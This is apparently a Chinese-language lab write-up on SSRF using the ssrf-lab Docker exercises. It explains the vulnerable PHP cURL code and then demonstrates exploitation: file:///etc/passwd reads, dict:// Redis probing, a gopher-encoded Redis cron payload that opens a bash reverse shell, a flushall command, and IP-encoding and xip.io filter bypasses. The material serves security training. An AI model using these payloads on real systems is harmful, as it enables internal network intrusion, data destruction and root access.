ssrf简介
SSRF(Server-Side Request Forgery)
,即服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,本质上是属于信息泄露漏洞。
ssrf漏洞原理:
ssrf
形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等,而且大部分的 web服务器架构中,web服务器自身是可以访问互联网和服务器所在的内网的,所以攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
而且一般情况下,SSRF
攻击的目标是外围无法访问的内部系统(即内网),所以SSRF漏洞也可以用一句话来进行总结:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
php中会导致ssrf的函数:
file_get_contents(): 把整个文件读入一个字符串中。
fsockopen():打开一个网络连接或者一个Unix套接字连接。
curl_exec():执行 cURL 会话。
gopher、dict协议以及redis服务、Curl命令:
gopher协议:可以做很多事情,特别时在SSRF中可以发挥很多重要的作用。利用此协议可以攻击内网的FTP、Telent、Redis、Memcache
,也可以进行GET、POST
请求。
DICT协议: 一个字典服务器协议,A Dictionary Server Protocol
,允许客户端在使用过程中访问更多字典并且该协议约定服务器端监听端口号:2628
。
redis: 服务在6379
端口开启。
curl: curl命令在SSRF漏洞中有非常重要的作用,所以这里来点简单的curl命令:
curl是常用的命令行工具,用来请求web服务器。它的名字就是客户端(client)的URL工具的意思。
不带任何参数时,curl就是发出GET请求:
curl https://www.example.com
上面命令向www.example.com
发出GET请求,服务器会将返回的内容在命令行输出。
-v
参数输出通信的整个过程,用于调试。我们可以利用-v
参数进行读取文件。
举例:curl -v file:///etc/passwd
-o
参数,将网页内容保存下来。
例:curl -o example.html www.example.com
-i
打印出服务器回应的HTTP头。
例:curl -i www.example.com
其他参数命令见–>这里
常见的内网IP段:
局域网地址范围分三类,一下IP段为内网IP段:
A类: 10.0.0.0 - 10.255.255.255
B类: 172.16.0.0 - 172.31.255.255
C类: 192.168.0.0 - 192.168.255.255
ssrf-lab
安装:
basic关卡:
git clone https://github.com/m6a-UdS/ssrf-lab.git
cd ~/ssrf-lab/basics #进入basics文件夹
docker build -t ssrf-lab/basics . #构建镜像
docker run -d -p 8081:80 --name=basic ssrf-lab/basics
advanced系类的文件夹及ctf中没有dockerfile文件,只有docker-compose.yml
文件,需要我们在构建镜像时用docker-compose
来创建镜像并开启容器。
# 首先安装docker-compose
sudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
docker-compose up -d #开启容器
docker-compose down #关闭容器
basic:
<?php
// 创建新的 cURL 资源
$ch = curl_init();
// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, $_POST["handler"]);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// 关闭 cURL 资源,并且释放系统资源
curl_close($ch);
echo $output;
?>
-
curl_exec(): 抓取 URL 并把它传递给浏览器 (执行cURL)。
-
curl_setopt ( resource $ch , int $option , mixed $value ) :
$ch: 由 curl_init() 返回的 cURL 句柄。 $option: 需要设置的CURLOPT_XXX选项。 $value: 将设置在option选项上的值。
而代码中的第二个参数是CURLOPT_UTL: 就是获取后面参数的url,第三个参数计算第二个参数的值,这里是post的handler
CURLOPT_RETURNTRANSFER:true将会把curl_exec()获取的信息以字符串返回,而不是直接输出。
http与https协议:
首先测试最基本的127.0.0.1
。
可以看到回显,说明没有对内网进行过滤。
file协议:
利用file协议进行文件读取:
输入file:///etc/passwd
读取用户密码,发现可以读取。
这个协议可以读取主机内任意文件。如果不进行过滤是很危险的。
这里讲一下为什么file后面会有三个/
。
file协议,就是本地文件传输协议。主要用于访问本地计算机中的文件,就像通过Windows的资源管理器打开文件或右键打开文件一样。
用法:
file:///文件的路径
举个例子:我们打开D盘的abc.txt文件,可以在资源管理器搜索框中输入file:///g:\abc.txt
也可以在浏览器中输入file:///g:/abc.txt
来读取。
平常我们访问其他网站文件URL的结构为(如百度):
https://baidu.com/index.php
当我们直接访问文件时,没有中间的host内容,所以中间不填入任何东西,就变为了:
file:///index.php
所以成为了三个/
。
dict协议:
由于很多的SSRF
协议中利用的都是结合Redis
服务的,所以这里就先在ssrf-basics
容器里安装该服务:
docker ps //查看容器编号
docker exec -it 容器编号 /bin/bash //进入容器
apt-get install redis-server //安装redis服务
redis-server //开启redis服务
安装好之后,便可以利用协议搜集信息及反弹shell。
利用dict
协议,dict://127.0.0.1:6379/info
可以获取本地redis
服务配置信息。
利用dict://127.0.0.1:6379/KEYS*
获取redis
存储的内容。
gopher协议:
内网中的redis
存在未授权访问漏洞,当Redis服务以root
权限运行时,利用Gopher协议
攻击内网中的Redis,通过写入定时任务可以实现反弹shell。
首先先了解一下通常攻击Redis的命令,然后转化为Gopher可用的协议:
//清空指定host的整个Redis服务器的数据
redis-cli -h $1 flushall
//redis写定时任务获取root权限(反弹shell)
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
echo -e "\n\n*/1* * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
这里是常见的exp(全称: exploit 漏洞利用),只要自己更改IP和端口即可,改成适配于Gopher
协议的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
经过URL解码:
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
这里的测试有点懵啊,没有成功,之后在试试。
advanced1:
<?php
$handler = $_POST["handler"];
if (preg_match('#^https?://#i', $handler) !== 1) {
echo "Wrong scheme! You can only use http or https!";
die();
} else if(preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}
// create curl resource
$ch = curl_init();
// set url
curl_setopt($ch, CURLOPT_URL, $_POST["handler"]);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// close curl resource to free up system resources
curl_close($ch);
echo $output;
?>
可以看到这里对我们输入的内容用正则表达式进行了过滤,要求我们只能使用http于https
,且不能访问10.0.0.3
,但是我们可以通过更换进制来进行绕过。
因为IP地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响IP地址的解析。不过好在所有的网络地址都是大端表示法,只要注意这一点即可。
- 字符串:10.0.0.3
- 二进制:00001010.00000000.00000000.00000011
- 十六进制:0A.00.00.03
- 整数:167772163
这些表达式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了,就可以尝试这样。
在这里我们可以用整数表达来绕过其过滤:
除了上面的表达方式之外,还可以用16进制0x0A000003
表示IP地址,还有用8进制代替10进制来表示IP地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如:http://012000003
实际上还是http://10.0.0.3
。上面两个表达方式,PHP的curl模块能解析出来。
下面总结一下几种变形:
十六进制:http://0x0A.0x00.0x00.0x03
八进制:http://012.00.00.03
八进制溢出:http://265.0.0.3
注意:八进制溢出可能只适用于 NodeJS 应用的服务器,点分十进制的最大值为255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回http://10.0.0.3
。
DNS泛域名绕过:
ip.io
和xip.name
这两个 dns 泛域名,实现绕过的方法是,你在你想访问的IP地址后面添加这两个泛域名,这两个泛域名会从你发出的请求中提取你真正想访问的IP地址,然后在响应报文中返回。
http://www.10.0.0.3.xip.io
http://mysity.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name
advanced2:
转到目录执行docker-compose up -d
,出错:
ERROR: Pool overlaps with other one on this address space
原因为我们已经让advanced1占用了10.0.0.0了。
解决方法:
删除之前的网卡:
docker network ls //查看docker网卡
docker network rm //删除docker网卡
docker network inspect 网卡id //查看docker网卡的相关详细信息
之后执行docker-compose up -d
。